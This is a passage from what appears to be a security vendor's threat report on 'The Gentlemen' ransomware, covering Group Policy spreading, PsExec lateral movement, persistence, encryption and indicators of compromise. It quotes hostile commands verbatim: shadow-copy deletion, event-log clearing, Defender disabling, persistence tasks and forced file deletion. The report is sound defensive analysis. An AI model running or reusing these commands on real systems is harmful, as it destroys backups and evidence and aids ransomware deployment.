The resulting script allows the attackers to quickly spread the ransomware across the entire company network. It starts by finding the Domain Controller and loading tools to control it. Then, it copies itself to the NETLOGON network folder to become accessible to all computers.

To prevent the attack from being blocked, the script creates a fake system update policy that disables Windows Defender. It does this by changing the DisableRealtimeMonitoring setting to 1 on all connected computers, thereby disabling real-time scanning and security features. The script also sets up a hidden task by creating a ScheduledTasks.xml file in the SYSVOL directory and modifies the Active Directory property gPCMachineExtensionNames to register the malicious XML file. Finally, the script forces all computers on the network to update their rules immediately by running the gpupdate /force command, causing all computers to download and run the ransomware simultaneously.

Lateral movement through PsExec

In addition to spreading through Group Policy, the ransomware also uses PsExec for lateral movement when the --spread parameter is provided. If PsExec is absent on the target system, it downloads the tool using the following command:

powershell.exe -Command "Invoke-WebRequest -Uri 'https://live.sysinternals[.]com/PsExec.exe' -OutFile 'C:\Temp\psexec.exe'"

The ransomware then performs a thorough scan of the domain by installing and using Remote Server Administration Tools (RSAT) through a PowerShell cmdlet. If the PowerShell commands fail, it uses the NetServerEnum API instead.

try { 
    Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -ErrorAction Stop 
} 
catch {}

try { 
    DISM.exe /Online /Add-Capability /CapabilityName:"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" 
} 
catch {}

try { 
    Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction Stop 
} 
catch {}

try { 
    Import-Module ActiveDirectory -ErrorAction Stop
    Get-ADComputer -Filter * | Select-Object -ExpandProperty Name 
} 
catch {}

Once it has obtained a list of all computers on the domain, the ransomware checks if each computer is active by pinging it with the command ping.exe -n 1 -w 500 {target}. If a computer is found to be active, the ransomware uses PsExec to spread to that computer.

Pre-encryption activities

Before starting to actually encrypt files, the ransomware attempts to stop any active Hyper-V virtual machines, allowing it to encrypt the virtual disk files. It uses PowerShell commands to achieve this, including:

Get-VM | Stop-VM -Force -TurnOff
Get-VM | Where-Object State -eq 'Running' | Stop-VM -Force -TurnOff

The ransomware also terminates specific processes using taskkill.exe and disables and stops certain services using sc.exe. The lists of processes and services are quite long and include various popular software, such as Microsoft Office instances, database management interfaces, remote management software, backup applications and more.

After stopping and terminating all the services and processes from the lists, the ransomware ensures its persistence on the system by:

• Deleting and recreating a scheduled task called “UpdateUser” to run the ransomware on startup
• Adding a registry key to run the ransomware on startup

The commands used for this are:

schtasks.exe /Delete /TN "UpdateUser" /F
schtasks.exe /Create /SC ONSTART /TN "UpdateUser" /TR "<ransomware_path>"
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS" /t REG_SZ /d "<ransomware_path>" /f

Encryption process

After completing its preparations, the ransomware begins encrypting files using a hybrid encryption algorithm that combines Curve25519 and the XChaCha20 stream cipher. For each file to be encrypted, it generates a Curve25519 key pair and computes a shared secret with the attacker’s public key embedded in its code and encoded in Base64 as HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=.

Before encrypting the files, the ransomware changes the file access permissions to “Everyone” and gains full administrative access by overriding the file’s Access Control List (ACL) and Access Control Entry (ACE) using the following commands:

• takeown.exe /f <target_file> /d y
• icacls.exe <target_file> /grant *S-1-1-0:F

The ransomware also includes a list of blacklisted directories, files, and extensions to prevent encryption of essential system components.

As the encryption process begins, the ransomware creates a file named README-GENTLEMEN.txt in each directory, containing the ransom note with the victim ID, Tox ID, and Data Leak Site address. If the --silent parameter is not provided, it also changes the desktop wallpaper to The Gentlemen’s embedded image.

The Gentlemen background image

After completing its operations, the ransomware may delete free space on the system to hinder data recovery attempts if the --wipe parameter is provided. Additionally, it may delete itself if the --keep parameter is not provided.

Regardless of provided parameters, it also deletes various system files and logs to cover its tracks, using commands such as:

vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl Security

Additionally, it deletes files from various directories, including:

cmd.exe /C del /f /q C:\Windows\Prefetch\*.*
cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.*
cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.*
cmd.exe /C rd /s /q C:\$Recycle.Bin

C-based ransomware

As The Gentlemen’s operations have extended, multiple researchers from different information security vendors have identified two ransomware implant versions: the cross-platform Go variant described above and a C-based ESXi locker for Linux. Our investigation has also uncovered a new, still-in-development C implant, currently limited to Windows.

This new ransomware variant has been observed in a limited number of attacks on organizations. While the overall malware structure remains similar to the Go variant we have described, the encryption algorithm has undergone significant changes, suggesting The Gentlemen group is expanding its capabilities. We believe this variant is still in development and being tested on a small subset of victims, with several parameter options, outlined below.

As can be seen from the parameter list, some of the parameters are not yet implemented. We anticipate that this variant will mature and likely be increasingly used in future attacks. Notably, the C variant uses smaller denylists of files, directories and extensions compared to the Go variant, which further suggests that this version of the ransomware is still in development. For example, the list of files that should not be encrypted, contains only three items, one of which is the group’s ransom note.

To execute with elevated privileges when receiving the --system parameter, the implant creates a scheduled task called “TaskSystem” using the command schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul. It then runs the task with elevated privileges using schtasks /run /tn TaskSystem > nul. If “TaskSystem” exists in the target system, the ransomware first deletes it using schtasks /delete /tn TaskSystem /f > nul, before creating a new one with the same name.

If the ransomware lacks sufficient privileges to access a file, it attempts to modify the file’s ACL by granting FULL_CONTROL permission and setting a new EXPLICIT_ACCESS_A structure using the SetEntriesInAclA API call.

For encryption, the ransomware uses the OpenSSL library, which is statically linked to the binary. Unlike the Go variant, this variant uses the AES256-GCM + RSA encryption scheme. It generates a random 32-byte key and a 16-byte initialization vector (IV) for each file, creating a 48-byte buffer. This buffer is then encrypted using a hardcoded RSA public key and appended to the file. The file’s contents are encrypted with AES256-GCM and written after the encrypted key and IV.

After encrypting all files in a directory, the ransomware decodes a byte array using single-byte XOR decryption and creates a file named !-READ-ME—-GEN-TLE-MEN-!.txt in the directory. It then writes the decoded byte array, which contains the ransom note, to the file.

The ransom note in this version of the ransomware reveals a difference from earlier Go versions: communication with the operators is now conducted via email rather than through Tox Messenger.

After completing the encryption process, the ransomware attempts to clear logs from various event log categories, including System, Forwarded Events, Application, and Setup, using the EvtClearLog API. However, it appears that there may be an error in the event log clearing process, as the category "S" is not a valid default entry for an event log category, suggesting a possible typo or missing parameters.

Event clearing function

Victims

The Gentlemen target a wide range of industries worldwide, including manufacturing, IT services, healthcare, financial services, construction, and logistics. Observed intrusions span several regions, with Brazil, China, Indonesia, Taiwan, and Thailand among the most heavily targeted countries and territories according to our telemetry.

Attribution

We have high confidence in attributing the observed activities to The Gentlemen group and its affiliates. This attribution is based on several key factors, including the consistent use of the group’s name, associated email addresses, and Data Leak Site within the binaries and ransom notes.

Conclusion

The Gentlemen group is rapidly gaining traction in the ransomware landscape, recruiting affiliates and executing high-profile attacks. Their adaptability is evident in the emergence of a C-based ransomware variant, a Go-based backdoor enabling remote command execution, and customized scripts tailored to specific targets. Recent data leaks exposing internal communications and operational plans suggest the group will continue to engage in malicious activity. Organizations are advised to prioritize vulnerability management and system hardening to reduce the risk of compromise.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Go ransomware

3B46A729DB7AE6AF8B19711C9452194D        locker_eryoo5_windows_amd64
02944C8A5535CDB5B2CBB893DB2D5ACF     locker_lqy8xb_windows_amd64.exe
10CA9A4040001560D053B7E7885C1B95     locker_28f3cl_windows_386.exe
3C471EBC947CDF32240A90FFADF49B13     locker_aga19g_windows_amd64.exe
4BE8BB62F0EBBCF4CE52C35AB6F794F5     locker_wh54td_windows_386.exe
53C616677BC7E2A0A03127F19166D007     locker_p663zs_windows_amd64.exe
5C3B9821FC82A9028CB63B9671950919     locker.exe
5F0B2C6D9F442754258BF4DD841C8341     locker_t1zged_windows_amd64.exe
608FAF58353B65C45EF9833358AC3787     locker_u90lyt_windows_amd64.exe
6AE7C9A7EA0B8C40A64225734F6BD01D     gentle.exe
846DC77C1246DB20D976346E0E359502     locker_p663zs_windows_386.exe
ADAC9984B3CC43D66A0D33079BBEC299     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
AE0E536766788478263BF448A9381641     cosmo.exe
B3E418D30312C1B2C58A791286868F42     system_386.exe
C2764744DCB4B0E1DB79CA1E8BF65368     getlwd.exe
D12A5B36DD00586CC374A1CAE43EFED4     locker_c65ffp_windows_amd64.exe
D2F72897E8986303D5567EB2384932B8     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
DE1522F9219497632F30F8A6E72F26B6     locker_c7ekh7_windows_amd64.exe
FDAE2BEB813778B4540A997706862096     AIR.exe

C-based ransomware

B9986A0F1F1F1A798DC3F0C59A80A1A3        fin.exe

Backdoor

554E699C96B332468F1AE69C1AE81EF9        sihost.exe

Vulnerable drivers

5761BD63DA03686FC480245DA7BD1E9F        processmonitordriver.sys
B6B51508AD6F462C45FE102C85D246C8        wamsdk.sys
8F0577D28C4FF5F71B149F444BFABA8E        gamedriverx64.sys
525EF6014F0EF20E44FE47C1D9980B69        biontdrv_wink.sys
407B6A136BBAA7172EB44EF9D08BB58A        biontdrv_winbs.sys
9321A61A25C7961D9F36852ECAA86F55        inpoutx64.sys
73F0A8C3EA794A04E80C32038249F044        wsddprm.sys
EEF8A950952696B018AA9C6DA2F5D7AD        havoc.sys

Scanning tools

EDB1C480295250DD1A38F3AA1357DEAE        netscan64.exe
5537C708EDB9A2C21F88E34E8A0F1744        Advanced_IP_Scanner_2.5.4594.1.exe

File paths

\\Netlogon\
C:\Sharing
C:\Temp
C:\Netlogon
C:\Windows\sysvol\domain\scripts\
%TEMP%
%User%\Downloads
%User%\Desktop

Domain and IPs

81[.]177[.]215[.]15    Backdoor C2